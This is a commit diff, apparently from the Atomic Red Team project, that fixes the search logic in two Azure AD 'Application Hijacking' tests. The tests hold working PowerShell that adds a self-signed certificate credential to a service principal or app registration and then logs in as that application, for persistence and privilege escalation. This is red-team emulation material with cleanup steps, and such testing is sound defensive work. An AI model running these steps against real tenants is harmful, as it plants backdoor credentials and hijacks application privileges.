Fix bug where the search returns multiple objects by selecting only the first (#2235)

The issue was that "Get-AzureADServicePrincipal" and "Get-AzureADApplication" may return several results matching the provided name which is not handled properly by the code which will crash. The solution is to select only the first object.

I took the opportunity for a couple minor improvements in the code of those two tests.
This commit is contained in:
Clément Notin
2022-11-17 23:08:24 +01:00
committed by GitHub
parent 54f7393181
commit 89126e68cd
+25 -22
View File
@@ -4,8 +4,8 @@ atomic_tests:
- name: Azure AD Application Hijacking - Service Principal
auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406
description: |
Add a certificate to an Application through its Service Principal.
The certificate can then be used to authenticate as the application and benefit from its rights.
Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application.
This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
supported_platforms:
- azure-ad
@@ -43,16 +43,18 @@ atomic_tests:
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
Connect-AzureAD -Credential $Credential > $null
$sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit }
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$certNotAfter = (Get-Date).AddDays(2)
$credNotAfter = (Get-Date).AddDays(1)
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
Write-Host "Generated certificate ""$thumb"""
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{service_principal_name}.pfx" -Password $pwd > $null
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{service_principal_name}.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
@@ -60,36 +62,35 @@ atomic_tests:
New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
Start-Sleep -s 30
$tenant=Get-AzureADTenantDetail
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $thumb
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"
cleanup_command: |
try {
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
$sp = Get-AzureADServicePrincipal -Searchstring "#{service_principal_name}"
$sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1
$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId
foreach ($cred in $credz) {
if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
Write-Host "Removed $($cred.KeyId) key from SP"
Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId
}
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
rm "#{path_to_cert}\#{service_principal_name}.pfx"
} catch {}
rm "#{path_to_cert}\#{service_principal_name}.pfx" -ErrorAction Ignore
name: powershell
elevation_required: false
- name: Azure AD Application Hijacking - App Registration
auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a
description: |
Add a certificate to an Application through its App Registration.
The certificate can then be used to authenticate as the application and benefit from its rights.
Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application.
This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights.
An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA.
supported_platforms:
- azure-ad
@@ -127,15 +128,18 @@ atomic_tests:
Import-Module -Name AzureAD
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential
Connect-AzureAD -Credential $Credential > $null
$app = Get-AzureADApplication -Searchstring "#{application_name}"
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
if ($app -eq $null) { Write-Warning "Application not found"; exit }
# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long
$certNotAfter = (Get-Date).AddDays(2)
$credNotAfter = (Get-Date).AddDays(1)
$thumb = (New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation "cert:\CurrentUser\My" -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter).Thumbprint
Write-Host "Generated certificate ""$thumb"""
$pwd = ConvertTo-SecureString -String "#{certificate_password}" -Force -AsPlainText
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd
Export-PfxCertificate -cert "cert:\CurrentUser\my\$thumb" -FilePath "#{path_to_cert}\#{application_name}.pfx" -Password $pwd > $null
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate("#{path_to_cert}\#{application_name}.pfx", $pwd)
$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())
@@ -143,27 +147,26 @@ atomic_tests:
New-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter
Start-Sleep -s 30
$tenant=Get-AzureADTenantDetail
$tenant = Get-AzureADTenantDetail
$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $thumb
Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)"
Write-Host "End of Hijacking"
cleanup_command: |
try {
Import-Module -Name AzureAD -ErrorAction Ignore
$PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
Connect-AzureAD -Credential $Credential -ErrorAction Ignore
Connect-AzureAD -Credential $Credential -ErrorAction Ignore > $null
$app = Get-AzureADApplication -Searchstring "#{application_name}"
$app = Get-AzureADApplication -SearchString "#{application_name}" | Select-Object -First 1
$credz = Get-AzureADApplicationKeyCredential -ObjectId $app.ObjectId
foreach ($cred in $credz) {
if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq "AtomicTest") {
Write-Host "Removed $($cred.KeyId) key from application"
Remove-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -KeyId $cred.KeyId
}
}
Get-ChildItem -Path Cert:\CurrentUser\My | where { $_.FriendlyName -eq "AtomicCert" } | Remove-Item
rm "#{path_to_cert}\#{application_name}.pfx"
} catch {}
rm "#{path_to_cert}\#{application_name}.pfx" -ErrorAction Ignore
name: powershell
elevation_required: false
- name: AWS - Create Access Key and Secret Key